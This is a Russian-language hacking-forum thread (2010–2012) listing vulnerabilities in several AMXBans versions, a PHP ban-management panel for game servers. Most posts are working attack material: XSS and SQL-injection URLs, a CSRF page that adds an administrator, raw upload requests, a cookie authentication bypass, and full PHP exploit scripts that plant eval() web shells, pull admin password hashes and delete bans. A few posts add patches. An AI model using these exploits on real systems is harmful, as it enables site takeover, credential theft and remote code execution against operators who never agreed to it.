RDot

RDot (https://rdot.org/forum/index.php)
-   Сценарии/CMF/СMS (https://rdot.org/forum/forumdisplay.php?f=15)
-   -   Уязвимости AMXBans (https://rdot.org/forum/showthread.php?t=66)

oRb 05.07.2010 10:31

Уязвимости AMXBans
 
Версия: 5.0 by YoMama/LuX & lantz69
Сайт: http://www.amxbans.net/

Папки доступные на запись:
  • include (скрипт сам создает конфиг, который располагается в этой папке)
  • smarty/templates_c (скомпиленные шаблоны смарти)
  • tmp (здесь сохраняются залитые на сервак списки банов)

XSS
/unavailable.php?message=%3Cscript%3Ealert(document .cookie)%3C/script%3E
Зависимости: register_globals = On
PHP код:

if ($_GET['msg'] == "frontend_disabled") {
    
$message lang("_ERRORAMXBANSDISABLED");
} else if (
$_GET['msg'] == "setupfile_exists") {
    
$message lang("_ERRORSETUPPHP");
} else if (
$_GET['msg'] == "magicquotes_off") {
    
$message lang("_ERRORMAGICQUOTES");
}
//...
$smarty->assign("message",$message); 

Подобные ошибки встречаются и в других скриптах. К примеру, /ban_details.php?ban_info[player_name]=%3Cscript%3Ealert(document.cookie)%3C/script%3E

XSS (активная)
/login.php?uid=%3Cscript%3Ealert(/xss/)%3C/script%3E
/admin/log_search.php
Зависимости: register_globals = On
PHP код:

if(isset($_POST['uid'])){
    
$_POST['uid'] = secure($_POST['uid']);
}
//...
    
if (isset($_POST['uid'])) {
     
$uid $_POST['uid'];
    } else if ( isset(
$_SESSION['uid']) ){
     
$uid $_SESSION['uid'];
    }
//...
$add_log    mysql_query("INSERT INTO $config->logs VALUES ('', '$now', '".$_SERVER['REMOTE_ADDR']."', 'unknown', 'admin logins', '$uid failed to login')") or die (mysql_error()); 

Метод устранения:
В начала файла include/functions.lang.php дописать
PHP код:

function regGlobOff($array) {
    foreach(
$array as $k => $v) {
        unset(
$GLOBALS[$k]);
    }
}
error_reporting(0);
regGlobOff($_POST);
regGlobOff($_GET);
regGlobOff($_COOKIE); 

Path disclosure
Практически в каждом файле:
PHP код:

// Start session
session_start(); 

Вставляем в идентификатор сессии запрещенные символы и получаем раскрытие путей через ошибки.

Метод устранения:
В каждом скрипте перед session_start поставить оператор подавления ошибок @

CSRF
Добавляет нового веб-админа с максимальными полномочиями. "Демо" сплойт:
Код:

<body onload="document.forms.admins.submit()">
<form name='admins' method='post' action='http://test/amxbans/admin/admins_levels.php'>
        <input type='hidden' name='sektion' value='webadmins'>
        <input type='text' name='username' value="test">
        <input type='text' name='password' value="test">
        <input type='text' name='level' value='1'>
        <input type='hidden' name='action' value="insert">
</form>

Метод устранения:
Добавить следующий код, например в include/accesscontrol.inc.php
PHP код:

if( $_SERVER['REQUEST_METHOD'] == 'POST')
    if(!
preg_match('!^http(s)?://' preg_quote($_SERVER['HTTP_HOST']) . '!i'$_SERVER['HTTP_REFERER']))
        exit; 

Заливка шелла
/admin/import_bans.php
Имя файла для заливки должно заканчиваться на .cfg, и его размер не должен привышать 45000 байт. Загружать шелл надо указав тип файла "text/plain". Шелл зальется в папку tmp с тем же именем.
Пример:
Код:

$nc localhost 80
POST /amxbans/admin/import_bans.php HTTP/1.1
User-Agent: Opera/10.00 (Macintosh; Intel Mac OS X; U; en) Presto/2.2.0
Host: test
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: en,ru;q=0.9,ja;q=0.8,fr;q=0.7,de;q=0.6,es;q=0.5,it;q=0.4,pt;q=0.3,pt-PT;q=0.2,nl;q=0.1,sv;q=0.1,nb;q=0.1,da;q=0.1,fi;q=0.1,pl;q=0.1,zh-CN;q=0.1,zh-TW;q=0.1,ko;q=0.1
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Referer: http://test/amxbans/admin/import_bans.php
Cookie: amxbans=oRb%3Ad8578edf8458ce06fbc5bb76a58c5ca4%3A1%3A%3A971f14d9f928e6458ccf6e3d3cb13a54%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes; PHPSESSID=29d9830bde44023b1e1c2affc6d82324
Cookie2: $Version=1
Connection: Close
TE: deflate, gzip, chunked, identity, trailers
Content-Length: 566
Content-Type: multipart/form-data; boundary=----------sLuN8T5jVOiPkDnr0wuySS

-------VOiPkDnr0wuySS
Content-Disposition: form-data; name="submitted"

true
------------sLuN8T5jVOiPkDnr0wuySS
Content-Disposition: form-data; name="banlog"; filename="info.php.cfg"
Content-Type: text/plain

<?php phpinfo(); ?>
------------sLuN8T5jVOiPkDnr0wuySS
Content-Disposition: form-data; name="ban_reason"


------------sLuN8T5jVOiPkDnr0wuySS
Content-Disposition: form-data; name="ban_length"


------------sLuN8T5jVOiPkDnr0wuySS
Content-Disposition: form-data; name="importit"

import
------------sLuN8T5jVOiPkDnr0wuySS--




Таблицы:
  • amx_admins_servers
  • amx_amxadmins
  • amx_banhistory
  • amx_banreasons
  • amx_bans
  • amx_levels
  • amx_logs
  • amx_serverinfo
  • amx_webadmins (id, username, password, level, logcode) //password = md5 хеш

В сессию отлично пишется php код. Достаточно просто обратится к скрипту с параметром newlang. /ban_search.php?newlang=%3C?%20eval($_GET[c])?%3E
Получим:
Код:

lang|s:19:"<? eval($_GET[c])?>";uid|s:4:"test";pwd|s:32:"098f6bcd4621d373cade4e832627b4f6";uip|s:0:"";lvl|s:1:"1";userid|N;bans_add|s:3:"yes";bans_edit|s:2:"no";bans_delete|s:2:"no";bans_unban|s:2:"no";bans_import|s:2:"no";bans_export|s:2:"no";amxadmins_view|s:2:"no";amxadmins_edit|s:2:"no";webadmins_view|s:2:"no";webadmins_edit|s:2:"no";permissions_edit|s:2:"no";prune_db|s:2:"no";servers_edit|s:2:"no";ip_view|N;
AMXBans работает только c magic_quotes = On !

oRb 05.07.2010 10:35

Версия: 5.1 (В новой версии не исправили старых багов, лишь добавили новых)

XSS
Зависимости: register_globals=on
PHP код:

$resource    mysql_query("SELECT access, nickname FROM $config->amxadmins WHERE ashow = '1' ORDER BY access ASC") or die(mysql_error());
while(
$result mysql_fetch_object($resource)) {

        
$amxadmins_info = array(
            
"access"    => $result->access,
            
"nickname"    => $result->nickname
            
);
    
        
$amxadmins_array[] = $amxadmins_info;
    }
...
$smarty->assign("amxadmin",isset($amxadmins_array) ? $amxadmins_array ""); 

/admins_list.php?amxadmins_array[999][nickname]=[XSS]

XSS
(так же актуально для предыдущей версии)
PHP код:

$smarty->assign("this",$_SERVER['PHP_SELF']); 

/admin/add_ban.php/%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

Path disclosure
PHP код:

session_start();
...
if(
mysql_num_rows($resource) == 0) {
        
trigger_error("Can't find ban with given ID."E_USER_NOTICE);
    } else { 

/ban_details_ex.php?bhid=-1
или измененное значение сессии.

SQL-injection
PHP код:

    $bhid $_GET['bhid'];
    
$resourcec    mysql_query("SELECT id, name, comment, email, addr, date FROM $config->amxcomments WHERE bhid =".mysql_escape_string($bhid)." ORDER BY date ASC") or die(mysql_error()); 

/ban_details_ex.php?bhid=-1+union+select+1,2,concat_ws(0x3a,username,passwor d,logcode),4,5,6+from+amx_webadmins

SQL-injection
Зависимости: register_globals=on
PHP код:

    $where[] = "address != 'localhost:27000'";


$resource mysql_query("SELECT * FROM $config->servers WHERE ".implode(" AND ",$where)." ORDER BY hostname ASC") or die (mysql_error()); 

/live.php?where[]=0+union+select+1,2,concat_ws(0x3a,username,passwo rd),4,5,6,7,8,9,10+from+amx_webadmins--+

Blind SQL-injection exploit
Разработчики добавили возможность комментировать баны, и чтобы банлист не спамили, они прикрутили каптчу. Вот только реализовали они ее хреново:
PHP код:

$rand mt_rand(1000000,9999999); 
$rand base64_encode($rand); 
$rand substr($rand07).""
$rand str_replace("J""Z"$rand); 
$rand str_replace("I""Y"$rand); 
$rand str_replace("j""z"$rand); 
$rand str_replace("i""y"$rand); 

if(!isset(
$_POST[action]) && $_POST[action] != "insert"){ 
    unset(
$_SESSION['code']); 
    
$_SESSION['code'] = "$rand"
}
...
if(
$_POST['verify'] != $_SESSION['code']){ 
         
$url      "$config->document_root"
         
$delay   "5"
         echo 
"Incorrect security code, please try again!";
         if(isset(
$_GET["bhid"])) {
            
$bhid $_GET['bhid'];
            echo 
"<meta http-equiv=\"refresh\" content=\"".$delay.";url=\"ban_details_ex.php?bhid=$bhid\">";
        }
         exit(); 


Т.е. если сразу постить, код капчи не сгенерируется и будет равен пустой строке, следовательно каптча - не помеха. Сама уязвимость:
PHP код:

if ((isset($_POST['action'])) && ($_POST['action'] == "insert")) {

if (
$_SERVER['HTTP_CLIENT_IP'])
{
    
$user_ip $_SERVER['HTTP_CLIENT_IP'];

else if (
$_SERVER['HTTP_X_FORWARDED_FOR'])
{
    
$user_ip $_SERVER['HTTP_X_FORWARDED_FOR'];

else if (
$_SERVER['REMOTE_ADDR'])
{
    
$user_ip $_SERVER['REMOTE_ADDR'];

else
{
    
$user_ip "";
}

...

$name $_POST['name'];
$comment $_POST['comment'];
$email $_POST['email'];
$bhid=$_GET["bhid"];

    
$time time();
        
$contact_flood=5*60;

    if(isset(
$_GET['bhid'])) {
         
$bhid $_GET["bhid"];
        
$sql mysql_query("SELECT date FROM $config->amxcomments WHERE addr = '".$user_ip."' AND bhid = '".$bhid."' ORDER BY date DESC LIMIT 0, 1");
    } 

Ну и сам простенький сплойт:
PHP код:

<?php
$url 
'http://test/amxbans51/';
$text '<?php eval($_GET[c]);?>';
$path '/Library/WebServer/test/amxbans51/';
$file 'demos/shell.php';

$postdata http_build_query(
    array(
        
'action' => 'insert',
        
'verify' => ""
    
)
);
$opts = array('http' =>
    array(
        
'method'  => 'POST',
        
'header'  => "Content-type: application/x-www-form-urlencoded\r\n"
                    
."CLIENT-IP: 0' union select '".addslashes($text)."' into outfile '".$path.$file."'#",
        
'content' => $postdata
    
)
);
$context stream_context_create($opts);
@
file_get_contents($url.'ban_details.php?bhid=-1'false$context);
echo 
"Check: ".$url.$file."\n";
?>


m0Hze 06.07.2010 20:14

Обзор уязвимостей AMXBANS
 
Версия: 6.0.0
Дата релиза: 21.05.10


Получение прав администратора

[Зависимости: нет]

File: /include/access.inc.php

PHP код:

session_start(); 
require_once(
"config.inc.php"); 

function 
has_access($value) { 
    if(
$_SESSION["loggedin"]) { 
        return 
$_SESSION[$value]; 
    } 
    return 
0

if(!
$_SESSION["lang"]) echo "NO!"
if(isset(
$_COOKIE[$config->cookie]) && $_SESSION["loggedin"]==false) { 
         
        
$cook explode(":"$_COOKIE[$config->cookie]); 
            
        
$sid $cook[0]; 
         
     
        
$mysql mysql_connect($config->db_host,$config->db_user,$config->db_pass) or die (mysql_error()); 
        
$resource mysql_select_db($config->db_db) or die (mysql_error()); 
        
$query mysql_query("SELECT id,username,level,email FROM `".$config->db_prefix."_webadmins` WHERE logcode='".$sid."' LIMIT 1") or die (mysql_error()); 
        if(
mysql_num_rows($query)) { 
            while(
$result mysql_fetch_object($query)) { 
                echo 
$_SESSION["uid"]=$result->id
                echo 
$_SESSION["uname"]=$result->username
                
$_SESSION["email"]=$result->email
                echo 
$_SESSION["level"]=$result->level
                
$_SESSION["sid"]=session_id(); 
                
$_SESSION["loggedin"]=true
            } 
            
$query mysql_query("SELECT * FROM `".$config->db_prefix."_levels` WHERE level=".$_SESSION["level"]." LIMIT 1") or die (mysql_error()); 
            while(
$result mysql_fetch_object($query)) { 
                
$_SESSION['bans_add'] = $result->bans_add
                
$_SESSION['bans_edit'] = $result->bans_edit
                
$_SESSION['bans_delete'] = $result->bans_delete
                
$_SESSION['bans_unban'] = $result->bans_unban
                
$_SESSION['bans_import'] = $result->bans_import
                
$_SESSION['bans_export'] = $result->bans_export
                
$_SESSION['amxadmins_view'] = $result->amxadmins_view
                
$_SESSION['amxadmins_edit'] = $result->amxadmins_edit
                
$_SESSION['webadmins_view'] = $result->webadmins_view
                
$_SESSION['webadmins_edit'] = $result->webadmins_edit
                
$_SESSION['websettings_view'] = $result->websettings_view
                
$_SESSION['websettings_edit'] = $result->websettings_edit
                
$_SESSION['permissions_edit'] = $result->permissions_edit
                
$_SESSION['prune_db'] = $result->prune_db
                
$_SESSION['servers_edit'] = $result->servers_edit
                
$_SESSION['ip_view'] = $result->ip_view
            } 
        } 

Как видим, никак не проверяется параметр COOKIE, выполняется запрос к БД, в ходе которого мы получаем в сессии данные админа/етц. $config->cookie в 99% случаев расна дефолтному: amxbans. Разделение идет через ":", из чего строим простой запрос:

Target: /include/access.inc.php

Передаем в Cookies:
Код:

Cookie: amxbans=' or id=1+union+select+1,2,1,4 -- 1
Передать нужно именно эти данные, именно в таком порядке.Переходим на индекс - мы админы.

+ Данные админов можно читать, шлем запрос с ид нужного админа, получаем его данные в бд, и далее идем на страницу любого бана, и пытаемся отписать комментарий( включить в админке) - в поле E-mail Вывод. так же вывод в правом верхнем углу экрана, рядом с кнопкой админки.
+ Уязвимость будет существовать даже при MQ=on, так как в config.php(который подрубается в таргете):

PHP код:

function stripslashes_recursive($var) { 
    return (
is_array($var) ? array_map('stripslashes_recursive'$var) : stripslashes($var)); 

if (
get_magic_quotes_gpc()) { 
    
$_GET stripslashes_recursive($_GET); 
    
$_POST stripslashes_recursive($_POST); 
    
$_COOKIE stripslashes_recursive($_COOKIE); 


PHPinfo

File: /extras/phpinfo.php

Плюшка от дефелоперов, просто переходим по ссылке.

Заливка шела

File: include/modules/modul_iexport.php

PHP код:

 if(isset($_POST["bancfgupl"])) { 
    
    
$reason=mysql_real_escape_string($_POST["reason"]); 
    
$plnick=mysql_real_escape_string($_POST["player_nick"]); 
    
$server=mysql_real_escape_string($_POST["server_name"]); 
    
$date=explode("-",trim($_POST["ban_created"])); 
     
    if(
$reason=="" || $plnick=="" || $server=="" || $date=="" || sizeof($date)!=3) { 
        
$user_msg="_NOREQUIREDFIELDS"
    } else { 
        
$date=(int)strtotime($date[2].$date[1].$date[0]); 
        
$file=mysql_real_escape_string($_FILES['filename']['name']); 
        
$types=array("cfg","txt"); 
         
        if(
$file=="") { 
            
$user_msg="_FILENOFILE"
        } else { 
            
$file_type=substr(strrchr($file'.'),1);  
            if(!
in_array($file_type,$types)) $user_msg="_FILETYPENOTALLOWED"
        } 
        if(
$_FILES['filename']['size'] >= ($config->max_file_size*1024*1024)) $user_msg="_FILETOBIG"
        if(!
$user_msg) { 
           
            if(!
move_uploaded_file($_FILES['filename']['tmp_name'], "temp/".$file)) { 
                
$user_msg="_FILEUPLOADFAIL"
            } else { 
.... 

                
fclose($handle); 
                
//del temp file 
                
unlink("temp/".$file); 
                
$smarty->assign("status",$status); 
            } 

Загрузка файлов есть, но после загрузки и занесения значений в БД, файл удаляется.И файл заливается только с расширениями .cfg or .txt Внимательно присмотревшись к коду, находим строчки:

PHP код:

 if(trim($bans[0])=="banid") { 
                        
//ban with steamid 
                         
                        
if(!preg_match("/^STEAM_0:(0|1):[0-9]{1,18}/",$steamid)) { $status["failed"]++; continue;} 
                        
//search for a already existing permanent ban 
                                                 
                        
$query mysql_query("SELECT `player_id` FROM `".$config->db_prefix."_bans` WHERE `player_id`='".$steamid."' AND `expired`=0") or die (mysql_error()); 
                        if(
mysql_num_rows($query)) {$status["failed"]++; continue;} 
                         
                        
//write ban to db 
                        
$status["imported"]++; 
                        
$query mysql_query("INSERT INTO `".$config->db_prefix."_bans`  
                            (`player_id`,`player_nick`,`admin_nick`,`ban_type`  ,`ban_reason`,`ban_created`,`ban_length`,`server_n  ame`,`imported`)  
                            VALUES  
                            ('"
.$steamid."','".$plnick."','".$_SESSION["uname"]."','S','".$reason_real."',".$date.",".$time.",'".$server."',1) 
                            "
) or die (mysql_error()); 

Как видим, если условие if выполняется верно, то производиться SQL-запрос, в котором используется ничем не фильтруемая переменная _SESSION[uname], которую мы можем произвольно изменять. Возвращаемся к получению админских прав, и посылаем заместо старого запроса, немного модернизированный:

Код:

Cookie: amxbans=' or id=1+union+select+1,0x27,1,4 -- 1
Именно 2 поле является значением _SESSION[uname], мы запхиываем туда захексеную кавычку, ибо переменная _SESSION в отличии от остальных HTTP переменных не стипслешиться принудительно. Получаем при любых настрйоках сервера, в uname='
Следующим шагом, необходимо выполнить условие в if, что бы наша переменная встала в запрос, ивызвала критичискую ошибку. Код шелла будет выглядеться примерно так:

Код:

banid blabla STEAM_0:0:1111 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
<?php eval(stripslashes($_GET[c])); ?>

Первая строка шелла так-же проходит preg_match() проверку, и уже после этого, наша ядовитая переменная [uname]=' попадает в SQL запрос, вызывая ошибку кода, соответственно, код который удаляет файл после работы - не выполниться, и мы получим полный код своего шелла в файле, с тем же именем, что и при загрузке.
Минус соответственно в том, что не все серверы настроены таким образом, что бы отбрасывать неизвестное расширение, и воспроизводить последнее известное. Не помню как этот мод называется, мод_mime, или как то так.
В случае загрузки шелла через скулю, мы получаем полноценный шелл, но мало где у юзверей mysql есть права на работу с ФС.

Эксплойт

PHP код:

<?php 

/** 
 * @author m0hze 
 * @copyright 2010 
 */ 
set_time_limit(0); 
//error_reporting(0); 

#Exp. for AMX BANS 6.0.0# 
function echoMan() 

    echo 
"+---------------------------------------------------------------------------+\r\n"
    echo 
"|--------------------------AUS for AMXBans 6.0.0----------------------------|\r\n"
    echo 
"|----------Type: 1) Upload via SQL-inj(!need file_priv=Y)-------------------|\r\n"
    echo 
"|----------Type: 2) Upload via Import ListBan(!need magic_quote=OFF)--------|\r\n"
    echo 
"|-----------------------------------How to use:-----------------------------|\r\n"
    echo 
"|------->php exp.php http://host/path [type(0 or 1 or 2)] [path_to_shell]---|\r\n\r\n"
    echo 
"|---------------------------------------Example:----------------------------|\r\n\r\n"
    echo 
"|------------>php exp.php http://exploit.com/bans 2 D:/shellcode.php--------|\r\n"
    echo 
"|------------------------ by m0Hze for Antichat.ru 2010 --------------------|\r\n"
    echo 
"+---------------------------------------------------------------------------+"

/** 
 * @Socks 
 * */ 
  
$s=false
$v=false
/** 
 * @EndSocks 
 */ 
if ($argv[1] != '') { 
    list(, 
$host$type$path) = $argv
    
$path addslashes($path); 
    
$type = (int) trim($type); 
    if(
$type == 1){ 
        
AUviaSQL(); 
    }elseif(
$type == 2){ 
        
AUviaImport(); 
    }else{ 
        
GetAminData(); 
    } 
}else{ 
    
echoMan(); 

function 
AUviaImport() 

    global 
$host,$path
    
$cookie "amxbans=' or id=1+union+select+1,0x27,1,4 -- 1"
    
$page curl($host '/include/access.inc.php'falsefalsefalse$cookie); 
    
preg_match('#PHPSESSID=(.*?);#'$page$match); 
    
$post = array('bancfgupl' => 1'reason' => 'cheat''player_nick' => 
        
'adminnick''server_name' => 'SuperServer''ban_created' => '11-06-2010'
        
'filename' => '@' $path); 

    
$upload curl($host '/admin.php?modul=iexport'$s,$v$post$match[0]); 
    if (
stristr($upload'You have an error')) { 
        return(die(
"\r\nYou shell: " $host "/temp/" basename($path))); 
    }else{ 
        return(die(
"\r\nI think, MQ=ON. Good bye.")); 
    } 

function 
AUviaSQL(){ 
    global 
$host,$path
    
$get curl($host.'/login.php',$s,$v,'user[]=&pass[]=&action=Login'); 
    
preg_match('#given in (.*?) on#',$get,$match); 
    
$path str_replace(array('\\\\','//'),'',str_replace(array('include','functions.inc.p  hp'),'',strip_tags(trim($match[1])))).'/include/files/'.md5(rand(1,100)).'_1.php'
    
$cookie "amxbans=' or id=1+union+select+1,unhex(0x3c3f706870206576616c28  7374726970736c617368657328245f524551554553545b7065  775d29293b203f3e),1,4 into outfile '$path' -- 3"
    
$page curl($host '/include/access.inc.php'$s,$vfalse$cookie); 
    if(
stristr($page,"mysql_num_rows")){ 
        return(die(
"\r\nYou shell uploaded! Get: $path?pew=system('dir');")); 
    }elseif(
stristr($page,"Can't")){ 
        return(die(
"\r\nPermission Denied :( May be file_priv=Y")); 
    }else{ 
        return(die(
"\r\nWtf?! Error")); 
    } 

function 
GetAminData(){ 
    global 
$host
    
$cookie "amxbans=' or id=1+union+select+1,2,1,4 -- 1"
    
$page curl($host '/include/access.inc.php'$s,$vfalse$cookie); 
    
preg_match('#PHPSESSID=(.*?);#'$page$match); 
    return(die(
"\r\nOk! Session: ".$match[0])); 

function 
curl($url$socks false$version 5$post false$cookie false

    
$ch curl_init(); // инициализируем Curl 
    
curl_setopt($chCURLOPT_URL$url); // открываемая страница 
    
curl_setopt($chCURLOPT_TIMEOUT20); 
    
curl_setopt($chCURLOPT_HEADER1); 
    
curl_setopt($chCURLOPT_RETURNTRANSFER1); // вернуть ответ сервера в переменную, а не выводить 

    // Работа через прокси 
    
if ($socks) { 
        
curl_setopt($chCURLOPT_PROXYTYPE, ($version CURLPROXY_SOCKS5 
            
CURLPROXY_SOCKS4)); 
        
curl_setopt($chCURLOPT_PROXY$socks); 
    } 
    if (
$post) { 
        
curl_setopt($chCURLOPT_POST1); 
        
curl_setopt($chCURLOPT_POSTFIELDS$post); 
    } 
    if (
$cookie) { 
        
curl_setopt($chCURLOPT_COOKIE$cookie); 
    } 
    
$page curl_exec($ch); 
    
curl_close($ch); 
    return (
$page); 


?>

Первый - Получение админских прав, и вывод сессии юзера. Если вам просто нужно попасть в админку, подставляем полученное значение в куки.
Второй - загрузка шелла через SQL-inj, если позволяют права юзера mysql(file_priv=Y). Сама определяет полный путь до DOCUMENT_ROOT, и пытается загрузить шелл в папку с юзерскими файлами.
Третий - загрузка шелла описанным выше способом, через импорт банов. В конце работы выводит ссылку на шелл.
Exm:
>php exp.php http://gm-project.net/bans/ 2 D:/shell.php.cfg

Сокс-прокси версии 4/5 определяется прямо в коде.

SeNaP 24.09.2010 14:24

Версия: 6.0.0 <= 6.0.1 PL1
=====Любой юзер может сделать unban
/ban_list.php
PHP код:

 if(isset($_POST["del_ban_x"]) && isset($_POST["bid"])) { 
    
//get all uploaded files for the ban and delete it 
    
$query mysql_query("SELECT `id`,`demo_file` FROM `".$config->db_prefix."_files` WHERE `bid`=".$bid) or die (mysql_error()); 
    while(
$result mysql_fetch_object($query)) { 
        if(
file_exists("include/files/".$result->demo_file)) { 
            
//delete the file(s) 
            
if(file_exists("include/files/".$result->demo_file."_thumb")) { 
                
unlink("include/files/".$result->demo_file."_thumb"); 
            } 
            if(
unlink("include/files/".$result->demo_file)) { 
                
//if file deleted, remove db entry 
                
$query2 mysql_query("DELETE FROM `".$config->db_prefix."_files` WHERE `id`=".$result->id." LIMIT 1") or die (mysql_error()); 
            } 
        } 
    } 
    
//delete all comments for the ban 
    
$query mysql_query("DELETE FROM `".$config->db_prefix."_comments` WHERE `bid`=".$bid) or die (mysql_error()); 
    
//get ban details 
    
$ban_row=sql_get_ban_details($bid); 
    
//delete the ban 
    
$query mysql_query("DELETE FROM `".$config->db_prefix."_bans` WHERE `bid`=".$bid." LIMIT 1") or die (mysql_error()); 
    
log_to_db("Ban edit","Deleted ban: ID ".$bid." (<".sql_safe($ban_row["player_nick"])."> <".sql_safe($ban_row["player_id"]).">)"); 
    
//redirect to start page 
    
if($query) { header("Location:index.php"); exit; } 


Exlpoit:
Код:

$bid = "bid user";
$pat = "http://site.ru";
echo <<<HTML
<div class="center">
<form action="$pat/ban_list.php" method="POST">
<input type="hidden" name="site" value="1" />
<input type="hidden" name="bid" value="$id" />
<input type="hidden" name="details_x" value="1" />
<input type="submit" name="del_ban" value="Удалить" />
</form>
</div>
HTML;


SeNaP 28.11.2011 12:31

Версия: 6.0.3 f2 (Mar 12, 2011)
-> Возможность банить или кикать с сервера, не имея прав администратора.

[path]/admin.php
[path]/include/module/admin/%admin_module%.php
PHP код:

.....
if(!
$_SESSION["loggedin"]) {
    
header("Location:index.php");
}
..... 

-> SQL injection.

[path]/include/module/admin/admin_ban_add_online.php

PHP код:

.....

if(!
$_SESSION["loggedin"]) {
    
header("Location:index.php");
}

.....

if(isset(
$_POST["ban"]) && $servers_array[$sid]["address"] != "" && !$user_msg) {
        
//get bantime
        
$time=($pl_perm)?0:(($pl_ban_length >= 0) ? $pl_ban_length 0);
        
//get and check the ban type
        
$type $_POST["ban_type"];
        
        if(!
$steamid_valid && $type=="S"$user_msg="_STEAMIDINVALID";
        if(!
$ip_valid && $type=="SI"$user_msg="_IPINVALID";
        
        if(
$pl_silent) {
            
//if banning silent, only add the ban to the db
            
if(!$user_msg) {
                
$query mysql_query("INSERT INTO `".$config->db_prefix."_bans` 
                        (`player_ip`,`player_id`,`player_nick`,`admin_nick`,`admin_id`,`ban_type`,`ban_reason`,`ban_created`,`ban_length`,`server_name`) 
                        VALUES 
                        ('"
.$pl_ip."','".$pl_steamid."','".$pl_name."','".$_SESSION["uname"]."','".$_SESSION["uname"]."','".$type."','".$pl_reason."',UNIX_TIMESTAMP(),'".$pl_ban_length."','website')
                        "
) or die (mysql_error());
                
$user_msg='_BANADDSUCCESS';
                
log_to_db("Add ban online","nick: ".$pl_name." <".$pl_steamid."><".$pl_ip."> banned for ".$pl_ban_length." minutes");    
            } 

EXPLOIT

PHP код:

<?php 
#by SeNaP for rDot.org 2011

$url "http://site.com/amxbans/";

$query_string = array(
                        
'ban'             => 1,
                        
'player_name'     => "player",
                        
'player_uid'     => 1,
                        
'player_ip'        => "127.0.0.1",
                        
'user_reason'    => "wh",
                        
'ban_length'    => 300,
                        
'ban_type'        => "'+(1 AND extractvalue(1,concat(0x3a,(SELECT concat_ws(0x3a, `username`, `password`) FROM `amx_webadmins` LIMIT 1))))+'"
                      
);

$ch curl_init($url.'admin.php?site=ban_add_online');
curl_setopt($chCURLOPT_POST1);
curl_setopt($chCURLOPT_POSTFIELDShttp_build_query($query_string));
curl_setopt($chCURLOPT_RETURNTRANSFER0);
curl_setopt($chCURLOPT_FOLLOWLOCATION0);
curl_exec($ch);
curl_close($ch);    
?>


HACKERSMARSA 26.08.2012 20:59

Версия: Уязвимы все версии (1.6 вроде последняя)
Тестилось на: 1.6,1.5
тип: XSS
Уязвимый файл: amxxhelper.php параметр: id
Применение: http://localhost/bans/include/amxxhelper.php?id="><ScRipT>alert(1)</ScriPt>
Решение:
Открыть /include/amxxhelper.php и найти
Код:

$id = $_GET["id"];
Заменить на:
Код:

$id = intval($_GET["id"]);

b3 26.08.2012 21:09

HACKERSMARSA http://php.net/manual/ru/function.intval.php

GNK 05.12.2012 13:08

Версия: AMXBans # Gm 1.6 by Larte Team.
Тестилось на: 1.6
тип: XSS and FPD
Уязвимый параметр: search
Применение: http://localhost/?search="><ScRipT>alert(1)</ScriPt>

http://jpegshare.net/thumbs/c4/f5/c4...8550e7897e.jpg

http://jpegshare.net/thumbs/f9/2a/f9...8d14191e14.jpg

тип: FPD

http://localhost/admin/include/admin/admin_wm_wa.php
http://localhost/admin/include/admin/admin_wm_ms.php

rdot.org (c)GNK


Часовой пояс GMT +3, время: 07:17.

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot